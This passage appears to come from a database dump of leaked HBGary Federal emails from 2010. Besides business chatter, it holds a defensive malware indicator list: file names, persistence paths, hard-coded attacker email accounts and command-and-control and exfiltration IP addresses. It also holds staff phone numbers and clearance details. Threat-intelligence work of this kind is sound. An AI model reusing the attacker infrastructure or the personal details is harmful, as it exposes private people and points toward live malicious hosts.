complementary fit, says IBM\'s Chuck\r\n ProwBob Coleman\'s Six3 Systems Purchases&nbsp;Novii\r\n DesignDLT Solutions\' Rick\r\n Marcotte Comments on \'Fast Growth\' HonorBAE Systems CEO Linda\r\n Hudson Makes Fortune 50 Most Powerful Women List\r\n \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;IBM and NISC, six\r\n months later: Acquisition a complementary fit, says IBM\'s Chuck\r\n Prow Six months after IBM completed its acquisition of\r\n National InterestSecurity Company, (NISC), IBM continues its growth into one of\r\n the top markets of the day: business analytics and\r\n optimization. &nbsp;&nbsp;\r\n Click here to read\r\n more&nbsp; Bob Coleman\'s Six3\r\n Systems Purchases Novii Design&nbsp;&nbsp;GTCR has announced its subsidiary, McLean, Va. based\r\n Six3 Systems, has acquired date fusion system provider Novii.&nbsp;Click here to\r\n read more&nbsp;\r\n\r\n DLT Solutions\' Rick\r\n Marcotte Comments on \'Fast Growth\' Honor DLT Solutions was included in\r\n Everything Channel\'s CRN Fast Growth 100 list. Click here to read\r\n more BAE Systems CEO Linda\r\n Hudson Makes Fortune 50 Most Powerful Women List BAE Systems CEO\r\n Linda Hudson was selected by Fortune magazine as one of its \"50 Most Powerful\r\n Women\" for 2010. &nbsp; Click here to read\r\n more \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;A Letter from the\r\n EditorThrough our weekly emagazine and daily blog, ExecutiveBiz offers our readership an insider\'s view\r\n of news and trends shaping small, medium, and large companies within industries\r\n such as defense, technology, and health care.&nbsp; In addition to our daily blog,\r\n we\'ve launched four new media properties, GovConWire, GovConExecutive, ExecutiveGov, and TheNewNewInternet. Each week, we deliver in-depth profiles of\r\n industry leaders, candid Q&As, plus the latest news and trends, and value-add\r\n information to help you do your job better.&nbsp; You\'re a big part of the\r\n equation both online and off &#8212; which is why we want to hear from you. Have a\r\n story tip? Or an idea for a speaking event? Feel free to contact me direct. You\r\n can also follow us on Twitter, Facebook, and LinkedIn.\r\n\r\nJ.D.\r\n KathuriaEditor-in-chief ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp; \r\n&nbsp;&nbsp; \r\n&nbsp;&nbsp; \r\n&nbsp;&nbsp;\r\n \r\n&nbsp;&nbsp;\r\n &nbsp;\r\n\r\n\r\nExecutiveBiz8230 Old Courthouse\r\n RoadVienna, VA 22181&nbsp;&nbsp; List\r\n Unsubscribe\r\nForward&nbsp;&nbsp;&nbsp;\r\n Update\r\n Preferences\r\n\r\n',11734,'aaron_hbgary_com/11734.html'),(12815,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009407.M691922P14101Q7670.eml','\"Aaron Zollman\" <azollman@palantir.com>','Data','Let me know we can get together and go over this if you want. &nbsp;We might want to abstract some of the data since it came from customer engagements.I am pouring through some other log files that I have. More info to follow.\\rasauto32.dllThe name rasauto32.dll is not legitimate. Look for any instance.\\iprinp.dllThe name iprinp.dll is not legitimate. Look for any instance.\\ati.exeAti.exe is a subcomponent of rasauto32.dll. Look for any instance.\\windows\\ntshrui.dllThe exact patch to ntshrui.dll must be used. The path provides the persistence mechanism.\\windows\\system\\ctfmon.exeCtfmon.exe is a renamed version of rasauto32.dll. The exact path must be used. There is a valid ctfmon.exe in the \\windows\\system32 directory.\\iisstart[1].htmThis internet history artifact can indicate a system attempted to communicate to a command and control server.\\111.exe111.exe is the dropper for rasauto32.dll. It can exist in any directory.\\iam.dllmacrosoft corp.Some iprinp.dll variants create a patched system shell with this unique string embedded.superhard corp.Some rasauto32.dll variants create a patched system shell with this unique string embedded.d0ta010@hotmail.comHard-coded credentials for the iprinp.dll MSN variant.lich123456@hotmail.comHard-coded credentials for the iprinp.dll MSN variant.72.167.34.54This IP address was hard-coded into many rasauto32.dll variants.72.167.33.182reported malicious IP address.67.152.57.55reported malicious IP address.66.228.132.129reported exfiltration destination IP address.66.228.132.130reported exfiltration destination IP address.\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',3574,'aaron_hbgary_com/3574.html'),(12816,'2010-10-07','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009407.M925833P14101Q7671.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','RE: Mark Trynor info','\r\n\r\n\r\n\r\n\r\nRE: Mark Trynor info\r\n\r\n\r\n\r\n\r\nGuys,\r\n\r\nAnything?&nbsp; I am trying to get this done as early as today as I can.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian M (XETRON)\r\nSent: Wednesday, October 06, 2010 12:02 PM\r\nTo: Ted Vera; Barr Aaron\r\nSubject: Mark Trynor info\r\n\r\n\r\n\r\nTed,\r\n\r\nI need the date of Mark&#8217;s last background investigation.\r\n\r\nAlso, I need a few sentences on why Mark is a forensics guru.&nbsp; You mentioned that he worked an incident response or evaluation down in New Mexico or somewhere down in the southwest.&nbsp; Can you give me a few nuggets that I can insert as quals both in the proposal and resume?&nbsp; There is no mention of this in his resume and there needs to be.\r\n\r\nThanks,\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',14156,'aaron_hbgary_com/14156.html'),(12817,'2010-10-07','\"Chris Gerling Jr\" <cgerlingjr@gmail.com>','/aaron@hbgary.com/new/1297009408.M134916P14101Q7672.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: The job market and other stuff','Ts/sci with counter terrorism poly\r\nOn Oct 7, 2010 9:22 AM, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt; wrote:&gt; Hey Chris,&gt; &gt; Next Thursday will work.\r\n&gt; &gt; Sorry Tickets = clearances.&gt; &gt; Aaron&gt; &gt; On Oct 7, 2010, at 8:49 AM, Chris Gerling Jr wrote:&gt; &gt;&gt; Tickets?&gt;&gt; &gt;&gt; I would be coming from Richmond.  Next thursday i&#39;ll be in NOVA and available after 2pm, would that work?\r\n&gt;&gt; &gt;&gt; On Oct 6, 2010 11:41 PM, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt; wrote:&gt;&gt; &gt; Curious... What tickets do you hold? :)&gt;&gt; &gt; &gt;&gt; &gt; Aaron\r\n&gt;&gt; &gt; &gt;&gt; &gt; On Oct 4, 2010, at 4:05 PM, Chris Gerling Jr wrote:&gt;&gt; &gt; &gt;&gt; &gt;&gt; Hi Aaron,&gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; Let me know what you&#39;ve got going on the next couple weeks. Perhaps we can find a day to do lunch or dinner, or just have a more in depth conversation over Skype or something.\r\n&gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; Thanks,&gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; Chris Gerling&gt;&gt; &gt;&gt; Security Professional and Co-founder of the SecuraBit podcast. http://www.securabit.com\r\n&gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; On Fri, Sep 24, 2010 at 11:30 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:&gt;&gt; &gt;&gt; Hey Chris,&gt;&gt; &gt;&gt; \r\n&gt;&gt; &gt;&gt; Anytime. I had fun.&gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; I would like to talk some more. I get back the week of the 4th. Lets talk sometime after that and I can fill you in on what we have, what we are chasing, and what positions we will likely have in the near future.\r\n&gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; Aaron&gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; On Sep 23, 2010, at 9:44 AM, Chris Gerling Jr wrote:&gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt;&gt; Hi Aaron,&gt;&gt; &gt;&gt;&gt; \r\n&gt;&gt; &gt;&gt;&gt; Thanks again for coming on with us last night, we had a great time.&gt;&gt; &gt;&gt;&gt; &gt;&gt; &gt;&gt;&gt; I was curious if you wanted to talk some more about the job landscape and what you might have available. I&#39;m not really able to move for a bit since I decided to become a homeowner a second time last year, but would definitely be interested in any opportunities involving a smaller more tight knit group. \r\n&gt;&gt; &gt;&gt;&gt; &gt;&gt; &gt;&gt;&gt; Thanks,&gt;&gt; &gt;&gt;&gt; &gt;&gt; &gt;&gt;&gt; Chris Gerling&gt;&gt; &gt;&gt;&gt; Security Professional and Co-founder of the SecuraBit podcast. http://www.securabit.com\r\n&gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; Aaron Barr&gt;&gt; &gt;&gt; CEO&gt;&gt; &gt;&gt; HBGary Federal, LLC&gt;&gt; &gt;&gt; 719.510.8478&gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; \r\n&gt;&gt; &gt; &gt;&gt; &gt; Aaron Barr&gt;&gt; &gt; CEO&gt;&gt; &gt; HBGary Federal, LLC&gt;&gt; &gt; 719.510.8478&gt;&gt; &gt; &gt;&gt; &gt; &gt;&gt; &gt; &gt; &gt; Aaron Barr&gt; CEO\r\n&gt; HBGary Federal, LLC&gt; 719.510.8478&gt; &gt; &gt; \r\n',14989,'aaron_hbgary_com/14989.html'),(12818,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009408.M328377P14101Q7673.eml','\"Jeremy R Gage\" <jeremy.gage@mantech.com>','Resumes','OK.  Before I send them I have a question.  Is there any flexibility on clearances?  All the guys I have are TS/SCI with CI poly.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',11836,'aaron_hbgary_com/11836.html'),(12819,'2010-10-07','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009408.M555797P14101Q7674.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Data','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nUnfortunately, I don&#8217;t have time to get together and go over\r\nthis before Monday, as I leave for New York at noon tomorrow.\r\n\r\n&nbsp;\r\n\r\nWhat&#8217;s the best way to integrate these notes into the data we\r\ncurrently have? We could associate the email addresses and IP addresses as tagged\r\nTMC output with iprinp.dll, and the strings just as associated properties. That&#8217;s\r\nmy best idea so far.\r\n\r\n&nbsp;\r\n\r\nAlso:\r\n\r\n&nbsp;\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe are currently scheduled to rehearse at 7pm at the\r\nRitz-Carlton on Monday evening. Can you make that?\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nShyam will be MC&#8217;ing the presentations again this year, and\r\nwould like bios to introduce us. I couldn&#8217;t find one for you on the hbgary\r\nwebsite; could you provide it? My standard bio reads: \r\n\r\n&nbsp;\r\n\r\nAs an embedded analyst with Palantir Technologies\' rapidly growing\r\ncybersecurity practice, Aaron Zollman works with deployments in the US\r\nGovernment and commercial security operations centers to model network\r\nattackers using both technical and non-technical data. Prior to joining\r\nPalantir, Aaron spent a decade in network operations with the intelligence\r\ncommunity, managing the secure delivery of operational data to network analysis\r\ncenters worldwide. During his time with the US government, he was awarded a\r\npatent for a method of applying visualization techniques to software debugging.\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, October 07, 2010 11:39 AM\r\nTo: Aaron Zollman\r\nSubject: Data\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nLet me know we can get together and go over this if you\r\nwant. &nbsp;We might want to abstract some of the data since it came from\r\ncustomer engagements.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am pouring through some other log files that I have. More\r\ninfo to follow.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \\rasauto32.dll\r\n  \r\n  \r\n  \r\n  \r\n  The\r\n  name rasauto32.dll is not legitimate. Look for any instance.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \\iprinp.dll\r\n  \r\n  \r\n  \r\n  \r\n  The\r\n  name iprinp.dll is not legitimate. Look for any instance.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \\ati.exe\r\n  \r\n  \r\n  \r\n  \r\n  Ati.exe\r\n  is a subcomponent of rasauto32.dll. Look for any instance.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \\windows\\ntshrui.dll\r\n  \r\n  \r\n  \r\n  \r\n  The\r\n  exact patch to ntshrui.dll must be used. The path provides the persistence\r\n  mechanism.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \\windows\\system\\ctfmon.exe\r\n  \r\n  \r\n  \r\n  \r\n  Ctfmon.exe\r\n  is a renamed version of rasauto32.dll. The exact path must be used. There is\r\n  a valid ctfmon.exe in the \\windows\\system32 directory.\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  \\iisstart[1].htm\r\n  \r\n  \r\n  \r\n  \r\n  This\r\n  internet history artifact can indicate a system attempted to communicate to a\r\n  command and control server.\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  \\111.exe\r\n  \r\n  \r\n  \r\n  \r\n  111.exe\r\n  is the dropper for rasauto32.dll. It can exist in any directory.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \\iam.dll\r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  macrosoft\r\n  corp.\r\n  \r\n  \r\n  \r\n  \r\n  Some\r\n  iprinp.dll variants create a patched system shell with this unique string\r\n  embedded.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  superhard\r\n  corp.\r\n  \r\n  \r\n  \r\n  \r\n  Some\r\n  rasauto32.dll variants create a patched system shell with this unique string\r\n  embedded.\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  d0ta010@hotmail.com\r\n  \r\n  \r\n  \r\n  \r\n  Hard-coded\r\n  credentials for the iprinp.dll MSN variant.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  lich123456@hotmail.com\r\n  \r\n  \r\n  \r\n  \r\n  Hard-coded\r\n  credentials for the iprinp.dll MSN variant.\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  72.167.34.54\r\n  \r\n  \r\n  \r\n  \r\n  This\r\n  IP address was hard-coded into many rasauto32.dll variants.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  72.167.33.182\r\n  \r\n  \r\n  \r\n  \r\n  reported\r\n  malicious IP address.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  67.152.57.55\r\n  \r\n  \r\n  \r\n  \r\n  reported\r\n  malicious IP address.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  66.228.132.129\r\n  \r\n  \r\n  \r\n  \r\n  reported\r\n  exfiltration destination IP address.\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  66.228.132.130\r\n  \r\n  \r\n  \r\n  \r\n  reported\r\n  exfiltration destination IP address.\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12019,'aaron_hbgary_com/12019.html'),(12820,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009408.M854078P14101Q7675.eml','\"Aaron Zollman\" <azollman@palantir.com>','Re: Data','yeah that is fine. &nbsp;I am working on some extended research to see if I can come up with anything else off of that data quickly.I can make Monday. &nbsp;BIo/Pic to follow.AaronOn Oct 7, 2010, at 11:46 AM, Aaron Zollman wrote:Unfortunately, I don’t have time to get together and go over this before Monday, as I leave for New York at noon tomorrow.&nbsp;What’s the best way to integrate these notes into the data we currently have? We could associate the email addresses and IP addresses as tagged TMC output with iprinp.dll, and the strings just as associated properties. That’s my best idea so far.&nbsp;Also:&nbsp;1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We are currently scheduled to rehearse at 7pm at the Ritz-Carlton on Monday evening. Can you make that?2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Shyam will be MC’ing the presentations again this year, and would like bios to introduce us. I couldn’t find one for you on the hbgary website; could you provide it? My standard bio reads:&nbsp;As an embedded analyst with Palantir Technologies\' rapidly growing cybersecurity practice, Aaron Zollman works with deployments in the US Government and commercial security operations centers to model network attackers using both technical and non-technical data. Prior to joining Palantir, Aaron spent a decade in network operations with the intelligence community, managing the secure delivery of operational data to network analysis centers worldwide. During his time with the US government, he was awarded a patent for a method of applying visualization techniques to software debugging.Thanks,&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantir.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, October 07, 2010 11:39 AMTo:&nbsp;Aaron ZollmanSubject:&nbsp;Data&nbsp;Let me know we can get together and go over this if you want. &nbsp;We might want to abstract some of the data since it came from customer engagements.&nbsp;I am pouring through some other log files that I have. More info to follow.&nbsp;\\rasauto32.dllThe name rasauto32.dll is not legitimate. Look for any instance.\\iprinp.dllThe name iprinp.dll is not legitimate. Look for any instance.\\ati.exeAti.exe is a subcomponent of rasauto32.dll. Look for any instance.\\windows\\ntshrui.dllThe exact patch to ntshrui.dll must be used. The path provides the persistence mechanism.\\windows\\system\\ctfmon.exeCtfmon.exe is a renamed version of rasauto32.dll. The exact path must be used. There is a valid ctfmon.exe in the \\windows\\system32 directory.\\iisstart[1].htmThis internet history artifact can indicate a system attempted to communicate to a command and control server.\\111.exe111.exe is the dropper for rasauto32.dll. It can exist in any directory.\\iam.dll&nbsp;macrosoft corp.Some iprinp.dll variants create a patched system shell with this unique string embedded.superhard corp.Some rasauto32.dll variants create a patched system shell with this unique string embedded.&nbsp;d0ta010@hotmail.comHard-coded credentials for the iprinp.dll MSN variant.lich123456@hotmail.comHard-coded credentials for the iprinp.dll MSN variant.&nbsp;72.167.34.54This IP address was hard-coded into many rasauto32.dll variants.72.167.33.182reported malicious IP address.67.152.57.55reported malicious IP address.66.228.132.129reported exfiltration destination IP address.66.228.132.130reported exfiltration destination IP address.&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal, LLC719.510.8478&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',2992,'aaron_hbgary_com/2992.html'),(12821,'2010-10-07','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297009409.M429001P14101Q7677.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Palantir GovCon6 Talk Next Week','Hi Aaron, Great -- I just made some minor edits (see below). I will also send them the attached headshot -- if you have another one, please let me know otherwise this is fine. Best, \r\n \r\n\r\nAaron Barr is the CEO of HBGary Federal, a services company focused on delivering specialized threat intelligence, incident response, and information operations capabilities to the IC, DoD, and Federal agencies.  Previously, he served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grumman’s Intelligence Systems Division, and as the Chief Engineer for Northrop Grumman&#39;s Cyber Campaign. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator. He served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachelor of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security. Mr. Barr is a frequent speaker at Intelligence Community and DoD conferences and symposiums on a wide variety of topics including cybersecurity, social media, and emerging technologies.\r\n\r\nOn Wed, Oct 6, 2010 at 7:27 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Karen, \r\n\r\nI will talk to Palantir and see.  Once we finish the demo we will be working on the integration of Palantir with the TMC and that I think will definately warrant a whitepaper and press release.\r\n\r\nTake a look at the BIO and make tweeks as you see fit.\r\nCEO of HBGary Federal, a services company focused on delivering specialized threat intelligence, incident response, and information operations capabilities to the IC, DoD, and Federal agencies.  Previously served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans&#39;s Cyber Campaign. As Technical Director, I was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, I served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator. I served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. While serving in Norfolk Virginia, I was accepted into the Enlisted Education Advancement Program (EEAP) where I finished a Bachelors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security. I have been a panelist and given speeches on cybersecurity, social media, and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 6, 2010, at 1:41 PM, Karen Burke wrote:\r\nHi Aaron, Good to talk to you today. As I mentioned, l&#39;ll put your post your upcoming talk, &quot;Exploring the Malware Family Tree in Palantir&quot; at Palantir&#39;s GovCon6 event on our site. http://www.palantirtech.com/government/conference Do you think Palantir would be interested in doing a white paper with us on this topic? You are putting a lot of effort into the presentation and it would be good to leverage the content further if you think they would be amenable. Let me know if you think it is something you can approach them on. Best, Karen\r\n-- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nFollow HBGary On Twitter: @HBGaryPR\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n-- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nFollow HBGary On Twitter: @HBGaryPR\r\n',9005,'aaron_hbgary_com/9005.html'),(12822,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009409.M683238P14101Q7678.eml','\"Rich Cummings\" <rich@hbgary.com>','Macrosoft Corp','So this CO. has been around for a long time writing malware.\r\n\r\nhttp://webcache.googleusercontent.com/search?q=cache:9ZBnYJmTUvcJ:securitydigest.org/virus/mirror/www.phreak.org-virus_l/1990/vlnl03.203+%22macrosoft+corp.%22+r.exe&cd=3&hl=en&ct=clnk&gl=us&client=safari\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',7309,'aaron_hbgary_com/7309.html'),(12823,'2010-10-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009409.M92679P14101Q7676.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>,\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>,','Re: Mark Trynor info','We got in from San Jose late last night, I\'ll work on it right now.\r\nCan you have security look up his last PR date?  He was TS/SCI/ISA\r\ncleared when he left NG and joined HBGary in March 2010.\r\n\r\nTed\r\n\r\n\r\nOn Thu, Oct 7, 2010 at 9:41 AM, Masterson, Brian M (XETRON)\r\n wrote:\r\n> Guys,\r\n>\r\n> Anything?  I am trying to get this done as early as today as I can.\r\n>\r\n> Brian\r\n>\r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, Cyber Solutions\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3877\r\n>\r\n> _____________________________________________\r\n>\r\n> From: Masterson, Brian M (XETRON)\r\n> Sent: Wednesday, October 06, 2010 12:02 PM\r\n> To: Ted Vera; Barr Aaron\r\n> Subject: Mark Trynor info\r\n>\r\n> Ted,\r\n>\r\n> I need the date of Mark’s last background investigation.\r\n>\r\n> Also, I need a few sentences on why Mark is a forensics guru.  You mentioned\r\n> that he worked an incident response or evaluation down in New Mexico or\r\n> somewhere down in the southwest.  Can you give me a few nuggets that I can\r\n> insert as quals both in the proposal and resume?  There is no mention of\r\n> this in his resume and there needs to be.\r\n>\r\n> Thanks,\r\n>\r\n> Brian\r\n>\r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, Cyber Solutions\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3877\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',10933,'aaron_hbgary_com/10933.html'),(12824,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009413.M235645P14101Q7679.eml','\"Karen Burke\" <karen@hbgary.com>','What about this one?','On Oct 7, 2010, at 11:53 AM, Karen Burke wrote:Hi Aaron, Great -- I just made some minor edits (see below). I will also send them the attached headshot&nbsp;-- if you have another one, please let me know otherwise this is fine. Best, \r\n&nbsp;\r\nAaron Barr is the CEO of HBGary Federal, a services company focused on delivering specialized threat intelligence, incident response, and information operations capabilities to the IC, DoD, and Federal agencies.&nbsp; Previously, he served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grumman’s Intelligence Systems Division, and as the Chief Engineer for Northrop Grumman\'s Cyber Campaign. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator. He served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachelor of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security. Mr. Barr is a frequent speaker at Intelligence Community and DoD conferences and symposiums on a wide variety of topics including cybersecurity, social media, and emerging technologies.\r\n\r\nOn Wed, Oct 6, 2010 at 7:27 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Karen, \r\n\r\nI will talk to Palantir and see. &nbsp;Once we finish the demo we will be working on the integration of Palantir with the TMC and that I think will definately warrant a whitepaper and press release.\r\n\r\nTake a look at the BIO and make tweeks as you see fit.\r\nCEO of HBGary Federal, a services company focused on delivering specialized threat intelligence, incident response, and information operations capabilities to the IC, DoD, and Federal agencies.&nbsp; Previously served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans\'s Cyber Campaign. As Technical Director, I was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, I served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator. I served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. While serving in Norfolk Virginia, I was accepted into the Enlisted Education Advancement Program (EEAP) where I finished a Bachelors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security. I have been a panelist and given speeches on cybersecurity, social media, and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 6, 2010, at 1:41 PM, Karen Burke wrote:\r\nHi Aaron,&nbsp;Good to talk to you today. As I mentioned, l\'ll put your&nbsp;post your upcoming talk, \"Exploring the Malware Family Tree&nbsp;in Palantir\" at&nbsp;Palantir\'s&nbsp;GovCon6 event on our site. http://www.palantirtech.com/government/conference&nbsp;Do you think Palantir would be interested in&nbsp;doing a white paper with us on this topic? You are putting a lot of effort into the presentation and it would be good to leverage the content further if you think they would be amenable. Let me know if you think it is something you can approach them on. Best, Karen\r\n-- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nFollow HBGary On Twitter: 